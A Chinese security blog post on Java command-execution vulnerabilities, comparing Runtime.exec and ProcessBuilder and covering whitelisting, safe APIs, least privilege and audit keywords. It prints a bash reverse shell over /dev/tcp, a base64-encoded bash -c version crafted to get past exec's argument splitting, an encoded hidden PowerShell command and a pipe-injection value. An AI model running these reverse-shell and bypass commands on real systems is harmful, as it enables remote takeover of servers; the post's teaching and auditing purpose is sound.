【Java代码审计 | 第十篇】命令执行漏洞成因、防范及审计思路

未经许可,不得转载。

在这里插入图片描述

命令执行漏洞是指攻击者能够通过应用程序执行任意系统命令,从而控制服务器或获取敏感信息。这种漏洞通常发生在应用程序直接调用系统命令且未对用户输入进行严格过滤的情况下。本文将分析 Java 中的命令执行漏洞,并提供防范措施。

Java 执行系统命令的函数

在 Java 中,常用的执行系统命令的函数包括:

1、Runtime.getRuntime().exec()

通过 Runtime 类的 exec() 方法执行系统命令。

// 使用 Runtime.exec() 执行命令
Runtime.getRuntime().exec("ping " + userInput);

注意,在 Java 中,尽管可以使用 Runtime.getRuntime().exec() 执行系统命令,但与 PHP 不同的是,Java 会将传入到该函数的参数视为一个完整的字符串,而不会受到 Shell 特殊符号(如 &、;、|)的影响,从而在一定程度上降低了命令注入的风险。

在涉及 Runtime.exec() 类型的远程代码执行(RCE)时,如果需要反弹 Shell,则必须进行特殊处理。直接执行以下命令无法成功反弹 Shell:

原始命令(Linux 环境):

bash -i >& /dev/tcp/127.0.0.1/12345 0>&1

这是因为 Java 直接将参数传递给 exec(),而不会经过 Shell 解析,因此必须对命令进行适当转换。可以使用 Base64 编码绕过限制,再通过 bash -c 进行解码和执行:

处理后的命令:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}

对于 Windows 环境,PowerShell 反弹 Shell 也需要类似的处理。可以使用 -EncodedCommand 传递 Base64 编码后的命令:

处理后的 PowerShell 命令:

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwAuAGUAeABlAA==

在这里插入图片描述

2、ProcessBuilder

通过 ProcessBuilder 类构建和执行系统命令。

// 使用 ProcessBuilder 执行命令
ProcessBuilder processBuilder = new ProcessBuilder("ping", userInput);
Process process = processBuilder.start();

函数解析方式

Runtime.getRuntime().exec() 的命令解析方式
当命令以字符串形式传入 Runtime.getRuntime().exec() 时,Java 会使用空格拆分字符串,并将其作为独立的参数传递给操作系统。因此,直接拼接的参数不会像在 Shell 环境中那样解析 ;|& 这些特殊符号。例如:

Process process = runtime.exec("ping -c 1 " + ip);

如果 ip 参数为 127.0.0.1 | id,系统不会解析 | 作为管道符,而是将整个字符串 "127.0.0.1 | id" 作为 ping 命令的参数,导致命令执行失败。

ProcessBuilder.start() 的工作方式
ProcessBuilder 只能接受命令和参数的列表,而不能直接传入一个完整的命令字符串。这意味着,即使用户输入了 ;|& 等特殊符号,也无法通过 ProcessBuilder 直接实现命令拼接。例如:

// 从 HTTP 请求中获取用户输入的命令
String cmd = request.getParameter("cmd");

// 使用 ProcessBuilder 执行命令
ProcessBuilder processBuilder = new ProcessBuilder(cmd);

这种情况下,攻击者无法通过 cmd 参数注入额外的命令。因此,ProcessBuilder相比于Runtime.exec(),会更安全。

绕过限制的方法 :
如果攻击者可以完全控制参数,并且能够有权限启动 Shell,那么仍然可以实现命令注入。例如:

Process process = runtime.exec("sh -c whoami");

在这里,sh -c 允许执行包含特殊符号的 Shell 命令,从而绕过 exec()ProcessBuilder 的参数解析机制。

防范

使用白名单验证用户输入

对用户输入进行白名单验证,确保其符合预期的格式(如 IP 地址、文件名等)。

String userInput = request.getParameter("input");

// 白名单验证:只允许数字和点号
if (!userInput.matches("^[0-9.]+$")) {
    throw new SecurityException("非法输入");
}

// 执行命令
ProcessBuilder processBuilder = new ProcessBuilder("ping", userInput);
Process process = processBuilder.start();

使用安全的 API 替代系统命令

尽量避免调用shell来执行命令,尽量使用 Java 提供的安全 API 替代直接执行系统命令。例如:

  • 使用 java.nio.file.Files 替代 rmcp 等文件操作命令。
  • 使用网络库替代 pingcurl 等网络操作命令。

示例代码如下:

import java.net.InetAddress;

String ipAddress = request.getParameter("ip");

// 使用 Java 网络库实现 Ping
InetAddress inetAddress = InetAddress.getByName(ipAddress);
boolean isReachable = inetAddress.isReachable(5000);  // 超时 5 秒

if (isReachable) {
    response.getWriter().println("Ping 成功");
} else {
    response.getWriter().println("Ping 失败");
}

限制命令执行的权限

如果必须执行系统命令,应尽量降低应用程序的权限,避免以高权限(如 root)运行。

  • 在 Linux 系统中,可以使用 sudo 限制命令的执行权限。
  • 在 Docker 容器中,可以以非 root 用户运行应用程序。

使用安全的第三方库

如果需要执行复杂的系统命令,可以使用经过安全验证的第三方库,如:

  • Apache Commons Exec:提供安全的命令执行功能。
  • OWASP ESAPI:提供安全的输入验证和命令执行功能。

使用 Apache Commons Exec 示例:

import org.apache.commons.exec.CommandLine;
import org.apache.commons.exec.DefaultExecutor;

String userInput = request.getParameter("input");

// 使用 Apache Commons Exec 执行命令
CommandLine commandLine = new CommandLine("ping");
commandLine.addArgument(userInput);

DefaultExecutor executor = new DefaultExecutor();
executor.execute(commandLine);

审计思路

全局搜索以下关键词:

exec
execute
ProcessBuilder

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值